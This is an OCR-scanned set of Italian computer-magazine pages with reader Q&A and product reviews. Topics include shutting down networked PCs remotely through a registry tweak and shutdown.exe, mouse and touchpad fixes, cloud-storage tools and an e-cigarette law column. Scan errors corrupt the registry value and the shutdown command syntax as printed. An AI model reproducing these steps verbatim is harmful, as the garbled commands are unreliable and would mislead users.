■ Creando un'apposita chiave di registro possiamo spegnere con un clic tutti 
I computer collegati alla nostra rete locale. 


IL MIO PC LO SPENGO A DISTANZA 


Per motivi di lavoro utiliz¬ 
zo quotidianamente molti 
computer. A fine giornata 
devo quindi perdere tempo 
per spegnerli tutti manual¬ 
mente. Esiste un metodo che 
mi consenta di spegnerli in 
maniera completamente 
automatica direttamente dal 
mio computer principale? 

Piero 

Sì, purché siano tutti collegati 
alla stessa rete e non siano in 
stand-by. È necessario che su 
tutti i computer sia presente al¬ 
meno un account da ammini¬ 
stratore. Ecco come procedere. 
Innanzitutto abilitiamo l'accesso 
tramite rete. Avviamo Windows 
sui PC che desideriamo confi¬ 
gurare. Premiamo la combina¬ 
zione di tasti Win+R, digitiamo 
regedit nella finestra di controllo 
che appare, cucchiamo OKe poi 
Sì. Nella nuova schermata cuc¬ 
chiamo due volte su HKEY_Lo- 
caLMachine, SOFTWARE, Mi¬ 
crosoft, Windows, CurrentVer¬ 
sion e Policies. Selezioniamo 
con il tasto destro del mouse la 
chiave System e poi scegliamo 
Nuovo/Valore DWORD dal 
menu contestuale che appare. 
Sostituiamo Nuovo valore il 
con LocalAccountTokenFilter- 
Policy. Premiamo il tasto R per 
due volte, clicchiamo su Dati Va¬ 
lore e digitiamo /.Confermiamo 


con OK e riavviamo Windows 
per applicare le modifiche. Ri¬ 
petiamo quindi l'operazione su 
tutti gli altri nostri computer. A 
questo punto, possiamo creare 
un collegamento sul nostro com¬ 
puter principale con cui avviare 
lo spegnimento automatico 
delle altre macchine. Premiamo 
la combinazione di tasti Win+Ee 
poi clicchiamo su Rete. Appari¬ 
ranno gli altri computer della no¬ 
stra rete. Facciamo clic con il pul¬ 
sante destro del mouse su uno 
di essi e poi sulla voce Crea col- 
legamento. Sul Desktop verrà 
creato un collegamento al com¬ 
puter con il nome del compu¬ 
ter selezionato. Per impostare 

10 spegnimento, clicchiamo sul 
collegamento al PC e poi pre¬ 
miamo il tasto F2 per rinominare 

11 collegamento. Facciamo clic 
col tasto destro del mouse e sce¬ 
gliamo la voce Proprietà. Nella 
relativa schermata spostiamoci 
nel campo Destinazione e di¬ 
gitiamo il comando shutdown. 
exe/s/txx/m seguito dal nome 
del computer, dove al posto di 
XX sostituiamo il numero di se¬ 
condi trascorsi i quali il PC dovrà 
spegnersi. Se desideriamo un 
arresto immediato, il comando 
corretto è shutdown.exe /s A 0 
/m WnomePC. A questo punto 
basta un doppio clic sull'icona 
del telefonino per spegnere il PC 
senza alzarci dalla postazione. 
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IL TECNICO 

HARDWARE RISPONDE... 


IL MOUSE WIRELESS 
Si BLOCCA SEMPRE 

Vi sottopongo un problema 
che mi sta facendo impazzi¬ 
re! Il mio sistema è un desktop 
Dell con sistema operativo 
Windows 7 Home Premium. Il 
computer era dotato di mouse 
ottico con cavo e connessione 
USB di produzione Dell, da me 
sostituito, circa un annota, con 
un dispositivo wireless di pro¬ 
duzione Microsoft. Il tutto ha 
funzionato fino al momento in 
cui il puntatore ha comincia¬ 
to a muoversi a scatti per poi 
bloccarsi completamente, tan¬ 
to che dovevo spegnere il siste¬ 
ma con la combinazione di tasti 


Ctr/+A/t+Canc. Talvolta si bloc¬ 
cava anche la tastiera per cui 
dovevo resettare il sistema con 
la conseguente perdita di dati. 
Alla riaccensione, qualunque 
fosse stato il modo di spegni¬ 
mento, per qualche minuto il 
mouse andava, per poi ripiom¬ 
bare nel consueto malfunzio¬ 
namento. Ho provato allora a 
cambiare la porta USB per la 
trasmittente e a scollegare la 
stampante e il masterizzato- 
re esterno, ma il malfunziona¬ 
mento continua. Il mouse pro¬ 
vato sul computer di un amico 
sembra invece funzionare. Da 
cosa può dipendere? 

Marco 


Sono molteplici le cause che pos¬ 
sono portare a un mouse wireless 
non funzionante. Oltre a cambiare 
la porta USB del ricevitore, come 
già fatto dal lettore, al solito i con¬ 
sigli base (forniti anche da Micro¬ 
soft) sono di controllare il livello 
delle batterie e installare tutti i 
driver i software del mouse. Per 
quel modello li trovi all'indirizzo 
www.winmagazine.it/link/2303. 
Presta sempre attenzione, inoltre. 


ad eventuali incompatibilità di¬ 
chiarate: forse hai ancora instal¬ 
lato vecchi driver o software del 
mouse Dell? Rimuovili. Microsoft 
(al sito http://support.microsoft. 
com/kb/321122) fornisce inoltre 
un rimedio automatico: clicca su 
Esegui nella finestra che si apre e 
segui la procedura guidata. Pochi 
secondi ed eventuali problemi do¬ 
vrebbero essere risolti in maniera 
completamente automatica. 



QUA^u/. DIGITO. I CAP^HERl SI SPOSTANO DA SOL) 


Ho un portatile Sony e vorrei sottoporvi 
questo problema con la tastiera che mi 
"affé" da un paio di mesi e che "ligg" non 
riesco a risolvere. Come potete vedere 
ho lasciato apposta l'errore. Digitando 
“affligge" aìcuni caratteri si sono spo¬ 
stati da soli (è diventato “affé" e “ligg" 
dopo qualche parola). Mi capita spesso 
sia con Word sia con Excel 2010eanche 
quando scrivo una e-mail. Ovviamente 
ho provveduto a pulire la tastiera, ma il 
problema rimane ed è molto fastidioso 
quando digito all'Interno di una lette¬ 
ra già scritta, perché poi si ha difficol¬ 
tà a scoprire dove sono andati a finire i 
caratteri spostati. Tramite Pannello di 
controllo non risultano malfunziona¬ 
menti. Che suggerimenti avete? 

Libero 

Tendiamo ad escludere che la tua tastiera 
sia difettosa. In realtà è una situazione molto 
comune con i portatili. Quando scriviamo, le 
nostre mani possono sfiorare il touchpad e 
quindi spostare il cursore. Così le lettere che 
scriveremo risulteranno spostate sul rigo. 
Può persino capitare di selezionare senza 
volerlo un intero paragrafo e poi vederlo 
sparire. Succede più o meno di frequente 
a seconda della grandezza della mani e del 


touchpad, ma anche del modo in cui scri¬ 
viamo. Se usiamo dieci dita, con il polso pog¬ 
giato sulla tastiera (come sarebbe consiglia¬ 
bile da un punto di vista ergonomico) e non 
abbiamo mani molto piccole, allora è pro¬ 
babile incorrere in questo problema. A cui. 


^ Touchpad Blocker 


m 


The program blocks accidental clicks while typing 
on a notebook keyboard It can also enable and 
disable touchpad using a keyboard shortcut 

0Automaticailyrun program on startup 

0 Show System tray notitìcatlon (balloons) 

0 Block accidental taps and clicks 

lime interval to block clicks 


1/2 sec 


0 Also block move and wheel events 
0 Beep when click Is blocked 

Clicks blocked: S 

Keyboard shortcuts 

0Tum blocker On and Off Ctrt+F9 

O Enable/DIsble touchpad * 

* Oniy for touchpads manufactured by Synaptics 

TOUCHPAD-BLOCKER.COM 


■ Ci sono applicazioni che permenono di bloccare 
il touchpad quando ci mettiamo a scrivere e 
scongiurano, così, spostamenti involontari del 
mouse. 


per fortuna, è possibile trovare semplici so¬ 
luzioni. Quella di base è disabilitare il touch- 
pad quando scriviamo, usando l'apposito 
pulsante se disponibile oppure premendo 
una combinazione di tasti specifica per ogni 
notebook (di solito, composta dal tasto fun¬ 
zione fn seguito da quello su cui è disegnato 
il simbolo di un touchpad sbarrato o simile). 
Non è una soluzione ottimale perché spesso 
quando scriviamo abbiamo bisogno alter¬ 
nativamente della tastiera e di spostarci da 
una finestra all'altra (per navigare, per esem¬ 
pio), cosa per cui serve il touchpad. Certo, 
potremmo tenere il touchpad sempre disa¬ 
bilitato e usare il mouse al suo posto. Ma c'è 
un'altra possibilità: installare applicazioni in¬ 
telligenti che lo disabilitano in automatico 
dopo che ci siamo messi a scrivere. E lo ria¬ 
bilitano dopo qualche frazione di secondo 
che non digitiamo sulla tastiera. Uno dei pro¬ 
grammi più noti è Touchpad Blocker, che ci 
permette anche di impostare l'intervallo di 
tempo (in millisecondi) dopo il quale deve 
bloccare il touchpad da quando abbiamo co¬ 
minciato a digitare. Alternative sono Touch- 
freeze e TouchpadPal. 

TOUCHPAD BLOCKER, 

TOUCHFREEZE E TOUbHPADPAL 

U trovi sui: WEB srCD VTDVD 
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LINUX: 

IL PINGUINO AMICO... 


ANIMAZIONI 2D 
SEMPLICI E VELOCI! 

Ho letto con piacere gli articoli 
dedicati a Blender pubblicati 
sui vecchi numeri di Win maga- 
zine perché vorrei imparare a 
creare delle semplici anima¬ 
zioni o effetti speciali. Vorrei 
però partire da qualcosa di più 
semplice. Mi interesserebbe, 
ad esempio, poter creare dei 
cartoni animati in 2D. Esiste 
un software Open Source che 
mi permetta di farlo? 

Alfredo 

Contrariamente a quanto si 
possa pensare, il mondo GNU/ 
Linux pullula di software dedi¬ 
cati alla manipolazione grafica o 


alla creazione di animazioni. Ba¬ 
sti pensare proprio a Blender o 
anche a GIMP per farsi un'idea. 
Chi è però alla ricerca di qual¬ 
cosa di più semplice che con¬ 
sente di creare semplici anima¬ 
zioni 2D, può affidarsi a Pencil2D, 
un software che nasce dalle "ro¬ 
vine" di PenciI, un progetto ab¬ 
bandonato nel lontano 2008. Il 
software include numerosi stru¬ 
menti che ci permettono di la¬ 
vorare in grafica vettoriale per 
la creazione di altrettanto sem¬ 
plici cartoni animati. Al termine, 
il lavoro può essere esportato nel 
formato Adobe Flash o Quick¬ 
Time. Maggiori informazioni sul 
progetto sono disponibili all'in¬ 
dirizzo www.pencil2d.org. 


CÈ POSTA... MA PER CHI? 

Per ottenere una risposta precisa in tempi brevi invia 
le tue richieste di assistenza in modo mirato indicando 
sempre il nome della rivista e il mese di uscita. 


1) ASSISTENZA TECNIGV 

Problemi con il computer e Internet? Difficoltà a mettere in pratica 
un articolo? Vuoi qualche chiarimento su come funziona questo o 
quel software presente sul CD/DVD-Rom? 

Scrivi a winmaa@edmaster.it 

2) ABBONAMENTI 

Vuoi sapere come ci si abbona a Win Magazine? Sei già abbonato, 
ma non hai ancora ricevuto qualcuna delle copie che ti spettano? 
Scrivi a abbonamenti@edÌTiaster.it 

3) CD/DVD-ROM 

I supporti allegati alle versioni Base, Plus, DVD e Gold non funzio¬ 
nano e vuoi sapere quali sono le modalità per richiedere la sosti¬ 
tuzione? 

Scrivi a servizioclienti@edmaster.it 

4) LE TUE IDEE 

Hai suggerimenti per un articolo che ti piacerebbe vedere pubblica¬ 
to sulla rivista? Vorresti collaborare con la redazione per offrire il tuo 
contributo a Win Magazine? 

Scrivi a winmagidee@edmaster.it 


A — - - - 


LEGGE 8f BIT: 

^ LA PAROLA ALL'AVVOCATO! 


SIGAREHE 

ELEnRONICHE 

EAPPiCOME. 

DOVE EQUANDO 

Il fenomeno delle sigarette elet¬ 
troniche, nonostante il norma¬ 
le calo di vendite, continua ad 
essere importante. Cosa preve¬ 
de la legislazione in materia di 
promozione, utilizzo e tassazio¬ 
ne? Lo abbiamo chiesto a Marco 
Giacomello, dottorando in Dirit¬ 
to e Nuove Tecnologie e Associa¬ 
te dello Studio Legale MPS Law. 
Con il decreto legge n. 76 del 28 
giugno 2013 (Primi interventi ur¬ 
genti per la promozione dell'oc¬ 
cupazione, in particolare giova¬ 
nile, della coesione sociale, non¬ 
ché in materia di IVA e altre mi¬ 
sure finanziarie urgenti) era stato 
inserito l'art. 10-bis il quale pre¬ 
vedeva come "il Ministero della 


salute esercita il monitoraggio, per 
i profili di competenza, sugli effetti 
dei prodotti succedanei dei pro¬ 
dotti da fumo, al fine di promuo¬ 
vere le necessarie iniziative anche 
normative a tutela della salute. Ai 
prodotti di cui al presente comma 
si applicano le disposizioni vigenti 
per i tabacchi lavorati in materia 
di divieto pubblicitario e promo¬ 
zionale, nonché di tutela della sa¬ 
lute dei non fumatori". L'articolo 
era finalizzato ad equiparare, a li¬ 
vello di divieto di promozione e di 
pubblicità, le nuove sigarette elet¬ 
troniche al normale tabacco. La 
legge n. 128/13 ha oggi soppresso 
il divieto totale di pubblicità per i 
prodotti cosiddetti succedanei del 
tabacco, introducendo una nuova 
disciplina la quale consente, a de¬ 
terminate condizioni, la possibi¬ 
lità di trasmettere messaggi pub¬ 
blicitari relativi alle ricariche per 


sigarette elettroniche contenenti 
nicotina: "la pubblicità [OMISSIS] 
è consentita a condizione che ri¬ 
porti la dicitura: presenza di nico¬ 
tina, e l'avvertimento sul rischio di 
dipendenza da nicotina". Succes¬ 
sivamente, l'il novembre 2013, 
il cosiddetto decreto istruzione 
(decreto Legge n. 104 del 12 set¬ 
tembre 2013 n° 104) all'articolo 4 
ha modificato l'articolo sul divieto 
di utilizzo delle sigarette elettro¬ 
niche, permettendone l'utilizzo in 
luoghi pubblici come bar, cinema 
e ristoranti, e mantenendo il di¬ 
vieto nei locali chiusi delle scuole. 

Si trovano in diversi app sto- 
re applicazioni sviluppate per 
mixare e modificare la quantità 
di liquido da inserire nelle siga¬ 
rette elettroniche. Sono appli¬ 
cazioni che violano la legge? 
Questa applicazioni contengono 
delle guide fai-da-te per crearsi in 
casa il liquido da inserire nella si¬ 
garetta elettronica: si acquistano 
gli ingredienti necessari (ad esem¬ 
pio, liquido a base di nicotina, gli¬ 
cole propilene, glicerolo vegetale, 
aroma scelto) e l'app restituirà 


delle proporzioni per mixare il 
tutto. Queste operazioni sono 
ovviamente a rischio e pericolo 
dell'utente che le esegue (al pari di 
un soggetto che rimuove un DRM 
da un file, o utilizza una crack per 
utilizzare un software piratato), es¬ 
sendo delle semplici guide. I prin¬ 
cipali store di app (Apple Store e 
Google Play Store) non sembrano 
comunque avere grossi problemi 
ad ospitare tali applicazioni, forse 
basandosi su una mancanza di le¬ 
gislazione specifica relativa a pub¬ 
blicità on-line e vendita di siga¬ 
rette elettroniche, ricariche e re¬ 
lativi componenti. 

È consentito dalla legge fare 
pubblicità e vendere on-line 
sigarette elettroniche? 

La legge n. 189 dell'S novem¬ 
bre 2012 modifica dall'1 gennaio 
2013 l'età minima per acquista¬ 
re tabacco, portandola da 16 a 18 
anni, e impone delle limitazioni 
alle pubblicità durante le trasmis¬ 
sioni radiotelevisive pensate per i 
minori. Non è invece ancora pre¬ 
vista una dettagliata disciplina per 
la vendita o la pubblicità on-line. 
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Una risposta a tutto 


Utilità&Programmazione ] 


Un hard disk sempre in ordine! 

Come posso smistare al meglio i miei file? 

•/ Esistono degli strumenti che aiutano a mantenere 
ordinati i contenuti del disco rigido? 


SERVE A CHI... 

...vuole ottimizzare la collocazione 
di file e cartelle suH'hard disk 
e velocizzare le ricerche degli 
elementi in esso presenti 


T enere in ordine i file memorizzati 
nell'hard disk è un'attività che il più delle 
volte noi stessi finiamo per trascurare. Suc¬ 
cede perciò che, dopo mesi di uso intensivo 
del computer, ci ritroviamo con migliaia di 
foto, documenti, brani musicali ecc sparsi 
ovunque tra le cartelle del disco rigido o su 
memorie esterne fino al punto che diventa 
impossibile ricordare dove li abbiamo salvati. 
Certo, esistono strumenti di ricerca che pos¬ 
sono aiutarci a trovare il file di cui abbiamo 
bisogno, ma servono a ben poco se non ne 
ricordiamo il nome. In questo caso l'unica 
soluzione possibile è quella di esaminare 
pazientemente tutte le cartelle dell'hard 
disk fino a quando non ne individuiamo 
la posizione. In questo tipo di situazioni, 
inoltre, non è raro provare frustrazione per 
non essere riusciti a trovare un file salvato 


chissà dove. È chiaro quindi che problemi del 
genere si possono evitare solo mantenendo 
ordinati gli elementi salvati sul computer. 

Limportanza deirordine 

Una buona regola per tenere in ordine i fi¬ 
le è quella di riporre ogni cosa a suo posto. 
L'utilizzo di una cartella come deposito per 
ogni genere di file, come accade soprattutto 
sul desktop, è una delle cause principali che 
seminano il caos nel disco rigido. Suddividere 
per tipologie i file in altrettante cartelle è un 
buon inizio, ma non basta. Una buona abitu¬ 
dine è quella di organizzare i contenuti per 
categoria. Ad esempio, aH'interno del percorso 
principale dedicato alle/mmag/n/, potremmo 
crearne uno in cui archiviare le foto personali 
che conterrà tutte le cartelle di un determinato 
evento (ad esempio Immagini/Foto Persona¬ 
li/Vacanza a Ischia). Lo stesso principio può 
essere applicato anche a documenti, musica 
o video e salvare in questo modo i documenti 
di lavoro in una cartella dedicata, suddivi¬ 
dere gli MP3 in base agli artisti e separare le 
clip personali dai film. Queste regole di base 
possono essere personalizzate secondo le 
nostre esigenze, ma in ogni caso il grosso del 


lavoro sarà andare a pescare i file sparpagliati 
sul disco per spostarli nel percorso scelto. 
Per rendere più semplice questa operazione 
titanica possiamo avvalerci del software File 
Fisher. Come suggerisce il nome, si tratta di 
un programma che pesca dalle cartelle solo 
i file appartenenti a determinate categorie 
dandoci la possibilità di spostarli senza grossi 
problemi da una posizione all'altra. Dopo aver 
selezionato la cartella di origine e quella di 
destinazione non dobbiamo fare altro che 
indicare i tipi di file da pescare e procedere 
con l'operazione. A lavoro ultimato avremo 
ogni elemento riposto nel suo cassetto e un 
hard disk finalmente in ordine. 

SPOSTAMENTI AUTOMATICI 

Le abitudini, si sa, sono dure a morire, e nonostante i no¬ 
stri sforzi, se continuiamo a sparpagliare i file nel disco 
rigido, ci ritroveremo ben presto al punto di partenza. 

Se proprio non vogliamo cambiare le nostre abitudini, 
possiamo almeno utilizzare un software come MoveOut 
e istruirlo per tenere in ordine i file al posto nostro. 
Avviamo il programma, indichiamo la cartella di origine 
e quella di destinazione e digitiamo nella casella files le 
estensioni dei file da trasferire, mentre in /gnore quelle 
da escludere (ad esempio *.jpg o *.pdf). MoveOut si 
attiverà automaticamente spostando nella cartella di 
destinazione i file ogni qualvolta sarà necessario. 


Grazie al tool File Fisher possiamo ordinare tutti i file del disco rigido 



1 Estraiamo sul disco rigido l'archivio File Fisher. 

zip (sezione Utilità&Programmazionedel Win 
CD/DVD-Rom), lanciamo l'eseguibile File Fischer, 
exe e confermiamo con Esegui. Il software non 
necessita d'installazione per cui visualizzeremo 
subito la schermata principale. 


2 Premiamo i pulsanti a destra dei box Source 
e Destination per indicare il percorso di 
origine e destinazione, selezioniamo nella se¬ 
zione Extension Groups la tipologia di file da 
trattare e, opzionalmente, personalizziamo la 
scelta usando le caselle nell'area a destra. 


Spuntiamo l'opzione Preserve File Struc- 
ture solo se intendiamo spostare i file man¬ 
tenendo la struttura delle cartelle e premiamo 
Move (OK). A questo punto facciamo clic su 
Start per avviare il processo che sistemerà i file 
secondo le regole impostate nel al programma. 
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Internet 


Una risposta a tutto 


Un superarchivìo sulla nuvola 

^ Esiste un modo efficiente per gestire tutti i cloud drive 

che utilizzo per archiviare i file? 

^ Come posso ampliare il mio spazio nella nuvola? 


SERVE A CHI... 

... vuole utilizzare un unico servizio 
on-line per amministrare a dovere 
i propri archivi cloud 


S uperati i dubbi relativi alla sicurezza degli 
archivi cloud, molti utenti hanno iniziato ad 
apprezzare i vantaggi offerti dal salvare i propri 
file nella nuvola. Lo scopo principale di questi 
servizi è offrire uno spazio di memorizzazione 
al quale è possibile accedere da qualunque 
postazione connessa alla Rete; tuttavia molti 
utenti li utilizzano anche per stoccare i backup 
dei file più importanti mettendoli cosi al riparo 
da eventuali guasti dell'hard disk. Dotati di 
funzionalità e strumenti più o meno evoluti, 
l'unico limite dei servizi di cloud Storage consi¬ 
ste soprattutto nella quantità di spazio dispo¬ 
nibile. A meno di optare per un abbonamento 
Pro, l'unica possibilità di espandere l'archivio 
è quella di utilizzare tutti questi servizi som¬ 
mando i GB offerti agli account gratuiti. Messe 
insieme, infatti, queste nuvole ci permettono 


di usufruire di uno spazio molto più ampio, 
esponendoci però a un temporale che rende 
piuttosto complicata e scomoda la gestione 
dei file sparpagliati nei vari servizi. 

Tanti cloud tutti insieme 

Per gestire in modo efficiente i vari servizi di 
cloud Storage occorre uno strumento che ci 
permetta di riunirli tutti in una sola interfac¬ 
cia. Mentre software come Gladinet (www. 
gladinet.com) e CarotDav (www.rei.to/ca- 
rotdav_en.html) sono la scelta migliore per 
unificare gli archivi e amministrarli dal compu¬ 
ter, se vogliamo preservare le caratteristiche 
principali del cloud Storage e ottenere gli stessi 
benefici indipendentemente dalla postazione 
e dal dispositivo che utilizziamo, dobbiamo 
puntare su un'applicazione sviluppata per 
funzionare direttamente nel browser. Nato 
recentemente, MultCloud è la Web app che 
fa al caso nostro, in grado di convogliare in 
un'unica posizione gli archivi dei più importanti 
servizi di cloud Storage tra cui DropBox, Google 
Drive e SkyDrive. Una volta registrato il profilo 
e portata a termine la configurazione dei vari 


account, anche multipli, sui servizi di cloud 
Storage che utilizziamo, potremo finalmente 
gestire l'archivio nella nuvola senza più perdere 
tempo nel passare dall'uno all'altro. Inoltre i 
benefici di MultCloud si traducono anche in 
una gestione più semplice degli archivi con la 
possibilità di spostare i file tra i vari servizi senza 
più complicate procedure. A ciò si aggiunge 
anche la facoltà di utilizzare account multipli 
registrati sullo stesso servizio in modo da poter 
estendere praticamente all'infinito lo spazio 
disponibile senza spendere un solo euro. 

GLADINET E CAROTDAV 

!ofn»is»i!S?CD VDVD 

IL PLAYER NELLA NUVOLA 

Dedicato principalmente alla riproduzione dei file mul¬ 
timediali, JoliCloud (www.jolicloud.com) è un player per 
video e brani musicali che permette di creare e ascoltare 
playlist attingendo i file da numerosi archivi cloud e senrizi 
Web. Raggiunta l'homepage del servizio, per collegarci 
possiamo utilizzare il nostro profilo Google o Facebook. 

Tra quelli supportati troviamo i principali cloud Storage e 
servizi per la condivisione di foto, video e brani musicali 
che passiamo aggiungere semplicemente autorizzando il 
collegamento. 


Con MultCloud convogliamo tutti i nostri cloud drive in un'unica interfaccia 



1 Apriamo il nostro browser, andiamo su 
www.multcloud.com e clicchiamo Create 
An Account. Forniamo i dati richiesti per la crea¬ 
zione del profilo (email, username e password), 
procediamo con Commit e apriamo il link di 
verifica (Activate Account) che riceveremo 
tramite posta elettronica. 


2 Effettuiamo il login al profilo creato e col¬ 
leghiamo i vari account. La procedura 
consiste nel selezionare il servizio tra quelli 
disponibili, cliccare su Add per poi indicare i 
dati di login del servizio e fornire le autorizza¬ 
zioni necessarie per consentire a MultCloud 
di accedervi. 


3 Ritroveremo i file archiviati nel servizio 
all'interno dell'interfaccia di MultCloud. 
La barra laterale ci consente di spostarci tra 
gli archivi e le cartelle, mentre dal menu con¬ 
testuale possiamo visualizzare l'anteprima 
del file selezionato, spostarlo, scaricarlo, ri¬ 
nominarlo ecc. 
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1 PCa!l-in-one { NAS j 




€1.099c 


Ti offre sempre la posizione migliore 
per lavorare e divertirti alla grande 


Il tuttofare 
contorsionista 


HPENVYRECLINE23 

HP • Tel. 848 800871 • www.hp.com/it 


^ I NTEL CORE 13 DI QUARTA GEN ERAZIONE 

^ DISPLAY23"MULTIT0UCHA10DITA ; 

_ ./ 


L f Envy Redine 23 è un all-in-one 
I progettato per offrirti una versa¬ 
tilità unica nell'uso del suo schermo 
multitouch da 23 pollici. Grazie alla 
base snodabile, infatti, lo schermo può 
essere inclinato di 5 gradi in avanti e di 
145 all'indietro raggiungendo quasi 
una posizione orizzontale e trasfor¬ 
mandosi quindi in un piano da gestire 
esclusivamente col tocco delle dita. Sa¬ 
rà così possibile trovare una posizione 
di lavoro più naturale e coinvolgente 
per gestire al meglio tutte le nuove fun¬ 
zionalità touchscreen di Windows 8.1. 
Il suo design, poi, si distin¬ 
gue per le linee eleganti 
che non è possibile non ap¬ 
prezzare e per i materiali di 
qualità utilizzati per la sua 
progettazione. Un sistema 


completo che si integra perfettamente 
in ogni ambiente domestico offrendo 
un ventaglio di funzionalità completo 
per svolgere qualsiasi attività. 

Tutto per il multimedia 

Per llntrattenimento domestico, oltre a 
poter contare su un ampio schermo Full 
HD, abbiamo il sistema Beats Audio con 
4 speaker da 2 W per un audio ancora 
più avvolgente. C'è poi il tunerTV con 
tanto di telecomando Media Center 
con cui guardare i canali televisivi in 
digitale senza dover ricorrere ad un 
televisore. Il disco interno 
da 1TB permette di salvare 
e organizzare tutti i nostri 
media preferiti, mentre un 
modulo cache da 8 GB con¬ 
tribuisce a rendere il siste¬ 


Convenienza 8 
Caranerìstiche 8 
innovazione 9 

VOTO 2^ 


Processore: Intel Core Ì3-4130T • Memoria RAM: 4 GB 
Hard Disk: 1 TB ■ Scheda Video: NVIDIA GeForce GT 730A 
Display: 23’ Full HD Touch screen • Sistema operativo: 
Windovrs 8 • Extra: 2 USB 3.0,2 USB 2.0, Wi-fi, Webcam, 
HOMI, Bluetooth, Toner TV • Dimensioni; 55,9 x 26,5 x 45,4 
cm-Peso: 12,12 kg 


ma più veloce e reattivo. Completa anche 
la dotazione dinterfacce, con porte USB 
3.0 e ingresso HOMI per collegare altre 
sorgenti video, senza dimenticare Wi-Fi 
dual band e Bluetooth. Nella dotazione 
sono compresi tastiera e mouse wireless 
per ridurre al minimo llngombro dei cavi 
sulla scrivania. 



Il NAS per tutta la famiglia 


SYNOLOGYDISKSTATION DS214SF 

SYNOLOGY • www.synology.com 

I l DS214se rappresenta la soluzione econo¬ 
mica di Synology per lo Storage all'interno 
della rete domestica. Un dispositivo capace 
di offrire prestazioni adeguate a supportare 
la gestione di piccoli gruppi di utenti che 
vogliono poter fruire dei vantaggi offerti da 
un NAS. Facilissimo da configurare grazie 
all'interfaccia Web Assistant, si avvale del 
sistema operativo DSM che offre 
tantissime funzionalità come il 
server multimediale, la downlo¬ 
ad station per scaricare dalle reti 
P2P e tantissimi altri pacchetti 


Convenienza 8 
Caratterìstiche 9 
Innovazione 8 


VOTO 


che permettono di aggiungere al¬ 
trettante nuove funzionalità. Grazie 
poi alle applicazioni QuickConnect 
e EZ-Internet è possibile raggiun¬ 
gerlo anche dall'esterno senza com¬ 
plicate configurazioni sul router. 
Può ospitare due dischi da 2,5” 
3,5"fino a un massimo di 8TB di 
capacità ed è provvisto di due porte 
USB per il collegamento di periferi¬ 
che esterne. 

Processore: Marvell AmiaUa 370 da 800 MHz RAM 
256 MB DDR3 • Numero bay 
* 2 per dischi SATA da 2,5' e 3,5' 

^ Interfacce: 2 USB 2 

Ethernet • Dimensioni: 165 mm 
■ 100 mmX 225,5 mm-Peso: 0.87 


PROCESSORE DA800 MHZ 


25 


PACCHETTI 
APPLICATIVI 
E FIRMWARE 
AGGIORNATO 

'■■X jMt 
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j Tablet [ eBook Reader j Pendrive j 


In vetrina 



Il tablet secondo Microsoft 


Il Surface si aggiorna diventando più leggero e più potente 



MICROSOFT SURFACE 2 (32 GB) 

MICROSOFT • Tel. 02 70398398 • www.miCTOsoft.com/it 


A distanza di un anno dal primo mo¬ 
dello, Microsoft aggiorna il Surface 
rendendolo migliore da ogni punto di 
vista. Oltre ad avere il nuovo sistema ope¬ 
rativo Windows FÌT8.1, presenta un nuovo 
telaio VaporMg più sottile e più leggero 
a tutto vantaggio della trasportabilità. Il 
supporto integrato può essere aperto a 
due diverse angolazioni, a 24 o 40 gradi, 
facilitando così il posizionamento più 
confortevole sul piano di lavoro. Il display 
da 10,6 pollici offre ora una risoluzione 
Full HD ed è quindi possibile apprezzare 
meglio contenuti digitali come foto e 
video, oltre ad avere un'area di lavoro 
capace di contenete più elementi. Le pre¬ 
stazioni, invece, sono affidate 
a un processore quad core 
Tegra 4 da 1,7 GHz, molto più 
potente ed efficiente rispetto 
a quello utilizzato sul primo 
Surface. 


Convenienza 9 
Caratteristiche 8 
Innovazione 7 


VOTO 


Espansione assicurata 

Il Surface 2 è disponibile con ca¬ 
pacità da 32 e 64 GB. La prima so¬ 
luzione non offre molto spazio 
per i file perché molti GB sono 
occupati dal sistema operativo. 

In compenso c'è uno slot per 
schede microSD e una porta 
USB 3.0 che consentono di 
espandere facilmente la 
memoria interna. Non man¬ 
cano poi l'uscita video HD, 
la doppia fotocamera frontale/ 
posteriore, il Wi-Fi e il Bluetooth. Rimane 
però il limite della piattaforma Windows 
RT che consente di installare solo le appli¬ 
cazioni presenti sul Windows 
i Store. In compenso Micro- 
{ Soft fornisce precaricata la 
I suite Office 2013 RT che in- 
I elude le versioni di Outlook, 
Word, Excel, PowerPoint e 


OneNote ottimizzate per il touchscreen. 


Processore: NVIDIA Tegra 4 (T40) 1,7 GHz quad core • RAM; 2 
GB • Hard Disk: 32 GB - Display: 10,6” multitouch a S dita full 
HD • Unità Ottica: n.d. • Autonomia batteria: fino a 10oie 
Sistema operativo; Vl/Indows RT 8.1 • Extra; Bluetooth, 
Wi-F, 1 USB 3.0, lettore per mìcroSD, Webeam frontale da 
3,5 Mpixel, WebCam posteriore da 5 Mpixel Dimensioni 
combinato; 275 x 173 x 9 mm ■ Peso: 676g 


'"galleria 

FOTOGRAFICA 


La chiavetta per 
tablet e cellulare 


TREKSTOR USB-STICK DUO (8 GB) 

TREKSTOtt • www.trekstor.it 

E dotata di un doppio connettore USB: da una parte ha 
quello normale che può essere utilizzato con computer, 
notebook o televisori, dall'altra invece ha un connettore mi- 
cro USB che la rende compatibile con tablet e smartphone. 
Un'unica chiavetta, quindi, che può essere utilizzata con 
qualsiasi dispositivo e disponibile con tagli da 8,16 e 32 GB. 



Capacità; 16 GB • Interfaccia: 1 Hi-Speed Micro USB 2.0,1 USB 2.0 Hi-Speed • Dimensioni: 643 x 
17x6,9mm 


Convenienza 8 
Caratteristiche 9 
Innovazione 9 

VOTO 2^ 


Testi ancora più nitidi 



SONY • Tel. 02 618381 • www.sony.it 


L a terza generazione dell'eBook Re¬ 
ader di Sony è dotato di una coper¬ 
tina protettiva a scatto e presenta un 
display da 6''elnk con una risoluzione 
HD che rende il testo molto più 
rispetto alla generazione precedente. 
Oltre ai comandi touch, ha i tasti fisici 
per offrire una doppia soluzione nella 
gestione delle pagine e non manca lo 
slot per microSD per espandere la me¬ 
moria da 2 GB. 


Convenienza 8 
Caratteristiche 9 
Innovazione 9 

VOTO 26 


Display: eInkPearl da 6" 
(1.024x758) •Memoria: 

2 GB espandibile con 
microSD • Autonomia 
batteria; fino a 2 mesi 


SONY PRS-T3 
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Notebook j Registratore audio | Cuffie 



In vetrina 


Con lui basta un gesto 

Il primo notebook che riconosce correttamente i movimenti delle mani 



HP ENVY17 LEAP MOTION SPECIAL EDITION 


HP • Tei. 848 800871 • www.hp.com/it 


Q uesto portatile non ha bisogno di 
touchscreen perché per interagire 
con le varie applicazioni basta un gesto 
della mano. Infatti è il primo ad esse¬ 
re dotato di tecnologia Leap Motion 
che consente di rilevare i movimenti 
